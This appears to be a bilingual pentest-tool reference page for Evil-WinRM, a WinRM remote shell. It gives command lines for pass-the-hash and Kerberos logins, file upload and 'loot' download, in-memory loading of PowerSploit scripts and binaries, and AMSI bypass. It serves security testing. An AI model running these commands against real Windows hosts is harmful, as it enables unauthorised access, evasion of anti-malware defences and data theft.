← retour aux outils back to tools

# Evil-WinRM

Shell WinRM complet pour les tests d'intrusion. Prend en charge le pass-the-hash, le pass-the-ticket, le SSL, le transfert de fichiers, et le PowerShell remoting. Full-featured WinRM shell for pentesting. Supports pass-the-hash, pass-the-ticket, SSL, file transfer, and PowerShell remoting.

↗ https://github.com/Hackplayers/evil-winrm

## Overview

Evil-WinRM provides an interactive shell via Windows Remote Management (WinRM / port 5985/5986). It adds pentest-specific features: pass-the-hash, Kerberos tickets, SSL, in-memory script loading, and file upload/download — making it far more useful than a raw PSRemoting session.

## Connection Methods

Password authentication

    evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1'

Pass-the-hash (NTLM)

    evil-winrm -i 10.10.10.1 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

SSL (port 5986)

    evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -S

With custom SSL certificate

    evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -S -c cert.pem -k key.pem

    # Kerberos (requires valid ccache)
    export KRB5CCNAME=/tmp/admin.ccache
    evil-winrm -i dc01.domain.local -r domain.local

Specify port

    evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -P 5985

## File Transfer

Upload a file

    *Evil-WinRM* PS> upload /local/path/file.exe C:\Windows\Temp\file.exe

Download a file

    *Evil-WinRM* PS> download C:\Windows\Temp\loot.txt /local/path/loot.txt

## In-Memory Script Loading

Load PowerShell scripts into memory (auto-imported on connect)

    evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -s /opt/PowerSploit/Recon/

Within the shell, call functions from loaded scripts

    *Evil-WinRM* PS> PowerView\Get-DomainUser

## Useful In-Shell Features

    # Show available menus
    *Evil-WinRM* PS> menu

    # Bypass AMSI (anti-malware scanning)
    *Evil-WinRM* PS> Bypass-4MSI

    # Run executables directly from memory
    *Evil-WinRM* PS> Invoke-Binary /local/path/binary.exe arg1 arg2

    # Enable logging
    *Evil-WinRM* PS> services  # Built-in enumeration commands

## Tips

- WinRM is enabled by default on Windows Server 2012+; may need enabling on workstations
- Pass-the-hash works without Kerberos, so no `/etc/hosts` or DNS config required
- Use `-s` to point to a directory of `.ps1` files that get auto-imported
- If AMSI blocks your scripts, run `Bypass-4MSI` first

Help / Man page

    evil-winrm [options]

    Connection:
      -i IP/HOST        Target IP or hostname
      -u USER           Username
      -p PASSWORD       Password
      -H HASH           NTLM hash (LM:NT or just NT)
      -P PORT           WinRM port (default: 5985)
      -r REALM          Kerberos realm (domain)
      -S                Enable SSL (port 5986)
      -c CERTIFICATE    SSL certificate path
      -k KEY            SSL key path

    Features:
      -s SCRIPTS        PowerShell scripts directory
      -e EXECUTABLES    Executables directory (for Invoke-Binary)
      -l LOG            Enable logging to file
      -n                Disable colors
      -N                Disable history

    Environment:
      KRB5CCNAME        Path to Kerberos ccache file

## Vue d’ensemble

Evil-WinRM fournit un shell interactif via Windows Remote Management (WinRM / port 5985/5986). Il ajoute des fonctionnalités spécifiques au pentest : pass-the-hash, tickets Kerberos, SSL, chargement de scripts en mémoire, et upload/download de fichiers, ce qui le rend bien plus utile qu’une session PSRemoting brute.

## Méthodes de connexion

    # Authentification par mot de passe
    evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1'

    # Pass-the-hash (NTLM)
    evil-winrm -i 10.10.10.1 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

    # SSL (port 5986)
    evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -S

    # Avec un certificat SSL personnalisé
    evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -S -c cert.pem -k key.pem

    # Kerberos (nécessite un ccache valide)
    export KRB5CCNAME=/tmp/admin.ccache
    evil-winrm -i dc01.domain.local -r domain.local

Spécifier le port

    evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -P 5985

## Transfert de fichiers

Envoyer un fichier

    *Evil-WinRM* PS> upload /local/path/file.exe C:\Windows\Temp\file.exe

Télécharger un fichier

    *Evil-WinRM* PS> download C:\Windows\Temp\loot.txt /local/path/loot.txt

## Chargement de scripts en mémoire

Charger des scripts PowerShell en mémoire (auto-importés à la connexion)

    evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -s /opt/PowerSploit/Recon/

Depuis le shell, appeler des fonctions issues des scripts chargés

    *Evil-WinRM* PS> PowerView\Get-DomainUser

## Fonctionnalités utiles dans le shell

    # Afficher les menus disponibles
    *Evil-WinRM* PS> menu

    # Contourner l'AMSI (analyse anti-malware)
    *Evil-WinRM* PS> Bypass-4MSI

    # Exécuter des exécutables directement depuis la mémoire
    *Evil-WinRM* PS> Invoke-Binary /local/path/binary.exe arg1 arg2

    # Activer la journalisation
    *Evil-WinRM* PS> services  # Commandes d'énumération intégrées

## Conseils

- WinRM est activé par défaut sur Windows Server 2012+ ; il peut nécessiter une activation sur les postes de travail
- Le pass-the-hash fonctionne sans Kerberos, donc aucune configuration `/etc/hosts` ou DNS n’est requise
- Utilisez `-s` pour pointer vers un répertoire de fichiers `.ps1` qui seront auto-importés
- Si l’AMSI bloque vos scripts, lancez d’abord `Bypass-4MSI`

Aide / Page de manuel

    evil-winrm [options]

    Connection:
      -i IP/HOST        Target IP or hostname
      -u USER           Username
      -p PASSWORD       Password
      -H HASH           NTLM hash (LM:NT or just NT)
      -P PORT           WinRM port (default: 5985)
      -r REALM          Kerberos realm (domain)
      -S                Enable SSL (port 5986)
      -c CERTIFICATE    SSL certificate path
      -k KEY            SSL key path

    Features:
      -s SCRIPTS        PowerShell scripts directory
      -e EXECUTABLES    Executables directory (for Invoke-Binary)
      -l LOG            Enable logging to file
      -n                Disable colors
      -N                Disable history

    Environment:
      KRB5CCNAME        Path to Kerberos ccache file